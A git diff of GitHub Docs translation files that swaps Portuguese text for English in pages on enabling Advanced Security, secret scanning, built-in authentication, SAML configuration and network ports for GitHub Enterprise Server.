%}](#enabling-secret-scanning)" below. -Se isso não retornar `0`, SSSE3 não está habilitado no seu VM/KVM. Você precisa consultar a documentação do hardware/hipervisor sobre como habilitar o sinalizador ou disponibilizá-lo para VMs convidados. + If this doesn't return `0`, SSSE3 is not enabled on your VM/KVM. You need to refer to the documentation of the hardware/hypervisor on how to enable the flag, or make it available to guest VMs. -### Verificar se você tem uma licença de {% data variables.product.prodname_advanced_security %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. Verifique se há {% ifversion ghes < 3.2 %}um **{% data variables.product.prodname_advanced_security %}**{% else %}uma entrada de **de segurança**{% endif %} na barra lateral esquerda. -{% ifversion ghes < 3.2 %} - ![Barra lateral de segurança avançada](/assets/images/enterprise/management-console/sidebar-advanced-security.png) -{% else %} - ![Barra lateral de segurança](/assets/images/enterprise/3.2/management-console/sidebar-security.png) -{% endif %} - -{% data reusables.enterprise_management_console.advanced-security-license %} - -## Habilitar {% data variables.product.prodname_secret_scanning %} +## Enabling {% data variables.product.prodname_secret_scanning %} {% data reusables.enterprise_management_console.enable-disable-security-features %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} -1. Em "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Segurança{% endif %}", clique em **{% data variables.product.prodname_secret_scanning_caps %}**. ![Caixa de seleção para habilitar ou desabilitar {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png) +1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," click **{% data variables.product.prodname_secret_scanning_caps %}**. +![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} -## Desabilitar {% data variables.product.prodname_secret_scanning %} +## Disabling {% data variables.product.prodname_secret_scanning %} {% data reusables.enterprise_management_console.enable-disable-security-features %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} -1. Em "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Segurança{% endif %}", desmarque **{% data variables.product.prodname_secret_scanning_caps %}**. ![Caixa de seleção para habilitar ou desabilitar {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png) +1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," unselect **{% data variables.product.prodname_secret_scanning_caps %}**. +![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/pt-BR/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md b/translations/pt-BR/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md index cbf96701e6..d2d205a75c 100644 --- a/translations/pt-BR/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md +++ b/translations/pt-BR/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Habilitar o GitHub Advanced Security para a sua empresa -shortTitle: Habilitar o GitHub Advanced Security -intro: 'Você pode configurar {% data variables.product.product_name %} para incluir {% data variables.product.prodname_GH_advanced_security %}. Isso fornece funcionalidades extras que ajudam os usuários a encontrar e corrigir problemas de segurança no seu código.' +title: Enabling GitHub Advanced Security for your enterprise +shortTitle: Enabling GitHub Advanced Security +intro: 'You can configure {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code.' product: '{% data reusables.gated-features.ghas %}' versions: ghes: '*' @@ -14,81 +14,84 @@ topics: - Security --- -## Sobre habilitar {% data variables.product.prodname_GH_advanced_security %} +## About enabling {% data variables.product.prodname_GH_advanced_security %} {% data reusables.advanced-security.ghas-helps-developers %} {% ifversion ghes > 3.0 %} -Ao habilitar {% data variables.product.prodname_GH_advanced_security %} para a sua empresa, os administradores de repositórios em todas as organizações poderão habilitar as funcionalidades, a menos que você configure uma política para restringir o acesso. Para obter mais informações, consulte "[Aplicar políticas para {% data variables.product.prodname_advanced_security %} na sua empresa](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)". +When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features unless you set up a policy to restrict access. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)." {% else %} -Ao habilitar {% data variables.product.prodname_GH_advanced_security %} para a sua empresa, os administradores de repositórios em todas as organizações podem habilitar as funcionalidades. {% ifversion ghes = 3.0 %}Para obter mais informações, consulte "[Gerenciar as configurações de segurança e análise de sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" e "[Gerenciar as configurações de segurança e análise do seu repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).{% endif %} +When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features. {% ifversion ghes = 3.0 %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} {% endif %} {% ifversion ghes %} -Para obter orientação sobre uma implantação em fases da segurança avançada do GitHub, consulte "[Implantando a segurança avançada do GitHub na sua empresa](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)". +For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying GitHub Advanced Security in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)." {% endif %} -## Pré-requisitos para habilitar {% data variables.product.prodname_GH_advanced_security %} - -1. Atualize a sua licença para {% data variables.product.product_name %} para incluir {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes > 3.0 %} Para obter informações sobre a licença, consulte "[Sobre cobrança para {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %} -2. Faça o download do novo arquivo de licença. Para obter mais informações, consulte "[Fazer o download da sua licença para {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)". -3. Faça o upload do novo arquivo de licença para {% data variables.product.product_location %}. Para obter mais informações, consulte "[Fazer o upload de uma nova licença para {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)".{% ifversion ghes %} -4. Revise os pré-requisitos para as funcionalidades que você pretende habilitar. - - - {% data variables.product.prodname_code_scanning_capc %}, consulte "[Configurando {% data variables.product.prodname_code_scanning %} para seu dispositivo](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)." - - {% data variables.product.prodname_secret_scanning_caps %}, consulte "[Configurando {% data variables.product.prodname_secret_scanning %} para seu dispositivo](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %} - - {% data variables.product.prodname_dependabot %}, consulte "[Habilitando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} na conta corporativa](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)". - -## Verificando se a sua licença inclui {% data variables.product.prodname_GH_advanced_security %} +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} {% ifversion ghes > 3.0 %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %} -1. Se sua licença incluir {% data variables.product.prodname_GH_advanced_security %}, a página de licença incluirá uma seção que mostra os detalhes do uso atual. ![Seção de {% data variables.product.prodname_GH_advanced_security %} de licença empresarial](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) +1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage. +![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) {% endif %} {% ifversion ghes = 3.0 %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} -1. Se a sua licença incluir {% data variables.product.prodname_GH_advanced_security %}, haverá uma entrada de **{% data variables.product.prodname_advanced_security %}** na barra lateral esquerda. ![Barra lateral de segurança avançada](/assets/images/enterprise/management-console/sidebar-advanced-security.png) +1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, there is an **{% data variables.product.prodname_advanced_security %}** entry in the left sidebar. +![Advanced Security sidebar](/assets/images/enterprise/management-console/sidebar-advanced-security.png) {% data reusables.enterprise_management_console.advanced-security-license %} {% endif %} -## Habilitar e desabilitar funcionalidades de {% data variables.product.prodname_GH_advanced_security %} +## Prerequisites for enabling {% data variables.product.prodname_GH_advanced_security %} + +1. Upgrade your license for {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes > 3.0 %} For information about licensing, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %} +2. Download the new license file. For more information, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." +3. Upload the new license file to {% data variables.product.product_location %}. For more information, see "[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% ifversion ghes %} +4. Review the prerequisites for the features you plan to enable. + + - {% data variables.product.prodname_code_scanning_capc %}, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)." + - {% data variables.product.prodname_secret_scanning_caps %}, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %} + - {% data variables.product.prodname_dependabot %}, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." + +## Enabling and disabling {% data variables.product.prodname_GH_advanced_security %} features {% data reusables.enterprise_management_console.enable-disable-security-features %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %}{% ifversion ghes %} -1. Em "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}", selecione as funcionalidades que você deseja habilitar e desmarque todos os recursos que deseja desabilitar. +1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," select the features that you want to enable and deselect any features you want to disable. {% ifversion ghes > 3.1 %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/3.2/management-console/enable-security-checkboxes.png){% else %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/management-console/enable-advanced-security-checkboxes.png){% endif %}{% else %} -1. Em "{% data variables.product.prodname_advanced_security %}," clique em **{% data variables.product.prodname_code_scanning_capc %}**. ![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %} +1. Under "{% data variables.product.prodname_advanced_security %}," click **{% data variables.product.prodname_code_scanning_capc %}**. +![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %} {% data reusables.enterprise_management_console.save-settings %} -Quando {% data variables.product.product_name %} terminar de reiniciar, você estará pronto para definir todas as funcionalidades adicionais necessárias para recursos recém-habilitados. Para obter mais informações, consulte "[Configurar o {% data variables.product.prodname_code_scanning %} para seu aplicativo ](/admin/advanced-security/configuring-code-scanning-for-your-appliance)". +When {% data variables.product.product_name %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance)." -## Habilitar ou desabilitar as funcionalidades de {% data variables.product.prodname_GH_advanced_security %} por meio do shell administrativo (SSH) +## Enabling or disabling {% data variables.product.prodname_GH_advanced_security %} features via the administrative shell (SSH) -Você pode habilitar ou desabilitar as funcionalidades programaticamente em {% data variables.product.product_location %}. Para mais informações sobre o shell administrativo e os utilitários da linha de comando para {% data variables.product.prodname_ghe_server %}, consulte "[Acessar o shell administrativo (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" e "[Utilitários de linha de comando](/admin/configuration/command-line-utilities#ghe-config)". +You can enable or disable features programmatically on {% data variables.product.product_location %}. For more information about the administrative shell and command-line utilities for {% data variables.product.prodname_ghe_server %}, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[Command-line utilities](/admin/configuration/command-line-utilities#ghe-config)." -Por exemplo, você pode habilitar qualquer recurso de {% data variables.product.prodname_GH_advanced_security %} com as suas ferramentas de código de infraestrutura ao implantar uma instância para preparação ou recuperação de desastres. +For example, you can enable any {% data variables.product.prodname_GH_advanced_security %} feature with your infrastructure-as-code tooling when you deploy an instance for staging or disaster recovery. -1. SSH em {% data variables.product.product_location %}. -1. Habilitar funcionalidades para {% data variables.product.prodname_GH_advanced_security %}. +1. SSH into {% data variables.product.product_location %}. +1. Enable features for {% data variables.product.prodname_GH_advanced_security %}. - - Para habilitar {% data variables.product.prodname_code_scanning_capc %}, digite os comandos a seguir. + - To enable {% data variables.product.prodname_code_scanning_capc %}, enter the following commands. ```shell ghe-config app.minio.enabled true ghe-config app.code-scanning.enabled true ``` - - Para habilitar {% data variables.product.prodname_secret_scanning_caps %}, digite o comando a seguir. + - To enable {% data variables.product.prodname_secret_scanning_caps %}, enter the following command. ```shell ghe-config app.secret-scanning.enabled true ``` - - Para habilitar {% data variables.product.prodname_dependabot %}, digite os comandos a seguir {% ifversion ghes > 3.1 %}{% else %}comandos{% endif %}. + - To enable {% data variables.product.prodname_dependabot %}, enter the following {% ifversion ghes > 3.1 %}command{% else %}commands{% endif %}. {% ifversion ghes > 3.1 %}```shell ghe-config app.dependency-graph.enabled true ``` @@ -96,18 +99,18 @@ Por exemplo, você pode habilitar qualquer recurso de {% data variables.product. ghe-config app.github.dependency-graph-enabled true ghe-config app.github.vulnerability-alerting-and-settings-enabled true ```{% endif %} -2. Opcionalmente, desabilite as funcionalidades para {% data variables.product.prodname_GH_advanced_security %}. +2. Optionally, disable features for {% data variables.product.prodname_GH_advanced_security %}. - - Para desabilitar {% data variables.product.prodname_code_scanning %}, digite os seguintes comandos. + - To disable {% data variables.product.prodname_code_scanning %}, enter the following commands. ```shell ghe-config app.minio.enabled false ghe-config app.code-scanning.enabled false ``` - - Para desabilitar {% data variables.product.prodname_secret_scanning %}, digite o seguinte comando. + - To disable {% data variables.product.prodname_secret_scanning %}, enter the following command. ```shell ghe-config app.secret-scanning.enabled false ``` - - Para desabilitar {% data variables.product.prodname_dependabot_alerts %}, digite os comandos a seguir {% ifversion ghes > 3.1 %}{% else %}comandos{% endif %}. + - To disable {% data variables.product.prodname_dependabot_alerts %}, enter the following {% ifversion ghes > 3.1 %}command{% else %}commands{% endif %}. {% ifversion ghes > 3.1 %}```shell ghe-config app.dependency-graph.enabled false ``` @@ -115,7 +118,7 @@ Por exemplo, você pode habilitar qualquer recurso de {% data variables.product. ghe-config app.github.dependency-graph-enabled false ghe-config app.github.vulnerability-alerting-and-settings-enabled false ```{% endif %} -3. Aplique a configuração. +3. Apply the configuration. ```shell ghe-config-apply ``` diff --git a/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md new file mode 100644 index 0000000000..75efc128d4 --- /dev/null +++ b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md @@ -0,0 +1,59 @@ +--- +title: Allowing built-in authentication for users outside your identity provider +intro: 'You can configure built-in authentication to authenticate users who don''t have access to your identity provider that uses LDAP, SAML, or CAS.' +redirect_from: + - /enterprise/admin/user-management/allowing-built-in-authentication-for-users-outside-your-identity-provider + - /enterprise/admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider + - /admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider +versions: + ghes: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity +shortTitle: Authentication outside IdP +--- +## About built-in authentication for users outside your identity provider + +You can use built-in authentication for outside users when you are unable to add specific accounts to your identity provider (IdP), such as accounts for contractors or machine users. You can also use built-in authentication to access a fallback account if the identity provider is unavailable. + +After built-in authentication is configured and a user successfully authenticates with SAML or CAS, they will no longer have the option to authenticate with a username and password. If a user successfully authenticates with LDAP, the credentials are no longer considered internal. + +Built-in authentication for a specific IdP is disabled by default. + +{% warning %} + +**Warning:** If you disable built-in authentication, you must individually suspend any users that should no longer have access to the instance. For more information, see "[Suspending and unsuspending users](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)." + +{% endwarning %} + +## Configuring built-in authentication for users outside your identity provider + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.authentication %} +4. Select your identity provider. + ![Select identity provider option](/assets/images/enterprise/management-console/identity-provider-select.gif) +5. Select **Allow creation of accounts with built-in authentication**. + ![Select built-in authentication option](/assets/images/enterprise/management-console/built-in-auth-identity-provider-select.png) +6. Read the warning, then click **Ok**. + +{% data reusables.enterprise_user_management.two_factor_auth_header %} +{% data reusables.enterprise_user_management.2fa_is_available %} + +## Inviting users outside your identity provider to authenticate to your instance + +When a user accepts the invitation, they can use their username and password to sign in rather than signing in through the IdP. + +{% data reusables.enterprise_site_admin_settings.sign-in %} +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %} +{% data reusables.enterprise_site_admin_settings.invite-user-reset-link %} + +## Further reading + +- "[Using LDAP](/enterprise/admin/authentication/using-ldap)" +- "[Using SAML](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-saml)" +- "[Using CAS](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-cas)" diff --git a/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md new file mode 100644 index 0000000000..b7f582ffcb --- /dev/null +++ b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md @@ -0,0 +1,201 @@ +--- +title: Using SAML +redirect_from: + - /enterprise/admin/articles/configuring-saml-authentication/ + - /enterprise/admin/articles/about-saml-authentication/ + - /enterprise/admin/user-management/using-saml + - /enterprise/admin/authentication/using-saml + - /admin/authentication/using-saml +intro: 'SAML is an XML-based standard for authentication and authorization. {% data variables.product.prodname_ghe_server %} can act as a service provider (SP) with your internal SAML identity provider (IdP).' +versions: + ghes: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +--- +{% data reusables.enterprise_user_management.built-in-authentication %} + +## Supported SAML services + +{% data reusables.saml.saml-supported-idps %} + +{% data reusables.saml.saml-single-logout-not-supported %} + +## Username considerations with SAML + +Each {% data variables.product.prodname_ghe_server %} username is determined by one of the following assertions in the SAML response, ordered by priority: + +- The custom username attribute, if defined and present +- An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name` assertion, if present +- An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` assertion, if present +- The `NameID` element + +The `NameID` element is required even if other attributes are present. + +A mapping is created between the `NameID` and the {% data variables.product.prodname_ghe_server %} username, so the `NameID` should be persistent, unique, and not subject to change for the lifecycle of the user. + +{% note %} + +**Note**: If the `NameID` for a user does change on the IdP, the user will see an error message when they try to sign in to your {% data variables.product.prodname_ghe_server %} instance. {% ifversion ghes %}To restore the user's access, you'll need to update the user account's `NameID` mapping. For more information, see "[Updating a user's SAML `NameID`](#updating-a-users-saml-nameid)."{% else %} For more information, see "[Error: 'Another user already owns the account'](#error-another-user-already-owns-the-account)."{% endif %} + +{% endnote %} + +{% data reusables.enterprise_management_console.username_normalization %} + +{% data reusables.enterprise_management_console.username_normalization_sample %} + +{% data reusables.enterprise_user_management.two_factor_auth_header %} +{% data reusables.enterprise_user_management.external_auth_disables_2fa %} + +## SAML metadata + +Your {% data variables.product.prodname_ghe_server %} instance's service provider metadata is available at `http(s)://[hostname]/saml/metadata`. + +To configure your identity provider manually, the Assertion Consumer Service (ACS) URL is `http(s)://[hostname]/saml/consume`. It uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. + +## SAML attributes + +These attributes are available. You can change the attribute names in the [management console](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console/), with the exception of the `administrator` attribute. + +| Default attribute name | Type | Description | +|-----------------|----------|-------------| +| `NameID` | Required | A persistent user identifier. Any persistent name identifier format may be used. The `NameID` element will be used for a {% data variables.product.prodname_ghe_server %} username unless one of the alternative assertions is provided. | +| `administrator` | Optional | When the value is 'true', the user will automatically be promoted as an administrator. Any other value or a non-existent value will demote the user to a normal user account. | +| `username` | Optional | The {% data variables.product.prodname_ghe_server %} username. | +| `full_name` | Optional | The name of the user displayed on their profile page. Users may change their names after provisioning. | +| `emails` | Optional | The email addresses for the user. More than one can be specified. | +| `public_keys` | Optional | The public SSH keys for the user. More than one can be specified. | +| `gpg_keys` | Optional | The GPG keys for the user. More than one can be specified. | + +## Configuring SAML settings + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.authentication %} +3. Select **SAML**. +![SAML authentication](/assets/images/enterprise/management-console/auth-select-saml.png) +4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Select SAML built-in authentication checkbox](/assets/images/enterprise/management-console/saml-built-in-authentication.png) +5. Optionally, to enable unsolicited response SSO, select **IdP initiated SSO**. By default, {% data variables.product.prodname_ghe_server %} will reply to an unsolicited Identity Provider (IdP) initiated request with an `AuthnRequest` back to the IdP. +![SAML idP SSO](/assets/images/enterprise/management-console/saml-idp-sso.png) + + {% tip %} + + **Note**: We recommend keeping this value **unselected**. You should enable this feature **only** in the rare instance that your SAML implementation does not support service provider initiated SSO, and when advised by {% data variables.contact.enterprise_support %}. + + {% endtip %} + +5. Select **Disable administrator demotion/promotion** if you **do not** want your SAML provider to determine administrator rights for users on {% data variables.product.product_location %}. +![SAML disable admin configuration](/assets/images/enterprise/management-console/disable-admin-demotion-promotion.png) +6. In the **Single sign-on URL** field, type the HTTP or HTTPS endpoint on your IdP for single sign-on requests. This value is provided by your IdP configuration. If the host is only available from your internal network, you may need to [configure {% data variables.product.product_location %} to use internal nameservers](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-dns-nameservers/). +![SAML authentication](/assets/images/enterprise/management-console/saml-single-sign-url.png) +7. Optionally, in the **Issuer** field, type your SAML issuer's name. This verifies the authenticity of messages sent to {% data variables.product.product_location %}. +![SAML issuer](/assets/images/enterprise/management-console/saml-issuer.png) +8. In the **Signature Method** and **Digest Method** drop-down menus, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests from {% data variables.product.product_location %}. Specify the format with the **Name Identifier Format** drop-down menu. +![SAML method](/assets/images/enterprise/management-console/saml-method.png) +9. Under **Verification certificate**, click **Choose File** and choose a certificate to validate SAML responses from the IdP. +![SAML authentication](/assets/images/enterprise/management-console/saml-verification-cert.png) +10. Modify the SAML attribute names to match your IdP if needed, or accept the default names. + ![SAML attribute names](/assets/images/enterprise/management-console/saml-attributes.png) + +{% ifversion ghes %} + +## Updating a user's SAML `NameID` + +{% data reusables.enterprise_site_admin_settings.access-settings %} +2. In the left sidebar, click **All users**. + !["All users" sidebar item in site administrator settings](/assets/images/enterprise/site-admin-settings/all-users.png) +3. In the list of users, click the username you'd like to update the `NameID` mapping for. + ![Username in list of instance user accounts](/assets/images/enterprise/site-admin-settings/all-users-click-username.png) +{% data reusables.enterprise_site_admin_settings.security-tab %} +5. To the right of "Update SAML NameID", click **Edit** . + !["Edit" button under "SAML authentication" and to the right of "Update SAML NameID"](/assets/images/enterprise/site-admin-settings/update-saml-nameid-edit.png) +6. In the "NameID" field, type the new `NameID` for the user. + !["NameID" field in modal dialog with NameID typed](/assets/images/enterprise/site-admin-settings/update-saml-nameid-field-in-modal.png) +7. Click **Update NameID**. + !["Update NameID" button under updated NameID value within modal](/assets/images/enterprise/site-admin-settings/update-saml-nameid-update.png) + +{% endif %} + +## Revoking access to {% data variables.product.product_location %} + +If you remove a user from your identity provider, you must also manually suspend them. Otherwise, they'll continue to be able to authenticate using access tokens or SSH keys. For more information, see "[Suspending and unsuspending users](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users)". + +## Response message requirements + +The response message must fulfill the following requirements: + +- The `` element must be provided on the root response document and match the ACS URL only when the root response document is signed. If the assertion is signed, it will be ignored. +- The `` element must always be provided as part of the `` element. It must match the `EntityId` for {% data variables.product.prodname_ghe_server %}. This is the URL to the {% data variables.product.prodname_ghe_server %} instance, such as `https://ghe.corp.example.com`. +- Each assertion in the response **must** be protected by a digital signature. This can be accomplished by signing each individual `` element or by signing the `` element. +- A `` element must be provided as part of the `` element. Any persistent name identifier format may be used. +- The `Recipient` attribute must be present and set to the ACS URL. For example: + +```xml + + + + ... + + + + + + + monalisa + + + + +``` + +## Troubleshooting SAML authentication + +{% data variables.product.prodname_ghe_server %} logs error messages for failed SAML authentication in the authentication log at _/var/log/github/auth.log_. For more information about SAML response requirements, see "[Response message requirements](#response-message-requirements)." + +### Error: "Another user already owns the account" + +When a user signs in to {% data variables.product.prodname_ghe_server %} for the first time with SAML authentication, {% data variables.product.prodname_ghe_server %} creates a user account on the instance and maps the SAML `NameID` to the account. + +When the user signs in again, {% data variables.product.prodname_ghe_server %} compares the account's `NameID` mapping to the IdP's response. If the `NameID` in the IdP's response no longer matches the `NameID` that {% data variables.product.prodname_ghe_server %} expects for the user, the sign-in will fail. The user will see the following message. + +> Another user already owns the account. Please have your administrator check the authentication log. + +The message typically indicates that the person's username or email address has changed on the IdP. {% ifversion ghes %}Ensure that the `NameID` mapping for the user account on {% data variables.product.prodname_ghe_server %} matches the user's `NameID` on your IdP. For more information, see "[Updating a user's SAML `NameID`](#updating-a-users-saml-nameid)."{% else %}For help updating the `NameID` mapping, contact {% data variables.contact.contact_ent_support %}.{% endif %} + +### Error: Recipient in SAML response was blank or not valid + +If the `Recipient` does not match the ACS URL for your {% data variables.product.prodname_ghe_server %} instance, one of the following two error messages will appear in the authentication log when a user attempts to authenticate. + +``` +Recipient in the SAML response must not be blank. +``` + +``` +Recipient in the SAML response was not valid. +``` + +Ensure that you set the value for `Recipient` on your IdP to the full ACS URL for your {% data variables.product.prodname_ghe_server %} instance. For example, `https://ghe.corp.example.com/saml/consume`. + +### Error: "SAML Response is not signed or has been modified" + +If your IdP does not sign the SAML response, or the signature does not match the contents, the following error message will appear in the authentication log. + +``` +SAML Response is not signed or has been modified. +``` + +Ensure that you configure signed assertions for the {% data variables.product.prodname_ghe_server %} application on your IdP. + +### Error: "Audience is invalid" or "No assertion found" + +If the IdP's response has a missing or incorrect value for `Audience`, the following error message will appear in the authentication log. + +```shell +Audience is invalid. Audience attribute does not match https://YOUR-INSTANCE-URL +``` + +Ensure that you set the value for `Audience` on your IdP to the `EntityId` for your {% data variables.product.prodname_ghe_server %} instance, which is the full URL to your {% data variables.product.prodname_ghe_server %} instance. For example, `https://ghe.corp.example.com`. diff --git a/translations/pt-BR/content/admin/configuration/configuring-network-settings/network-ports.md b/translations/pt-BR/content/admin/configuration/configuring-network-settings/network-ports.md index 058cc5514c..4fcd17c1a7 100644 --- a/translations/pt-BR/content/admin/configuration/configuring-network-settings/network-ports.md +++ b/translations/pt-BR/content/admin/configuration/configuring-network-settings/network-ports.md @@ -1,5 +1,5 @@ --- -title: Portas de rede +title: Network ports redirect_from: - /enterprise/admin/articles/configuring-firewalls/ - /enterprise/admin/articles/firewall/ @@ -8,7 +8,7 @@ redirect_from: - /enterprise/admin/installation/network-ports - /enterprise/admin/configuration/network-ports - /admin/configuration/network-ports -intro: 'Abra as portas de rede seletivamente com base nos serviços que você precisa expor para administradores, usuários finais e suporte por e-mail.' +intro: 'Open network ports selectively based on the network services you need to expose for administrators, end users, and email support.' versions: ghes: '*' type: reference @@ -18,37 +18,36 @@ topics: - Networking - Security --- +## Administrative ports -## Portas administrativas +Some administrative ports are required to configure {% data variables.product.product_location %} and run certain features. Administrative ports are not required for basic application use by end users. -Certas portas administrativas são obrigatórias para configurar a {% data variables.product.product_location %} e executar determinados recursos. Não é preciso haver portas administrativas para os usuários finais aproveitarem os recursos básicos do aplicativo. +| Port | Service | Description | +|---|---|---| +| 8443 | HTTPS | Secure web-based {% data 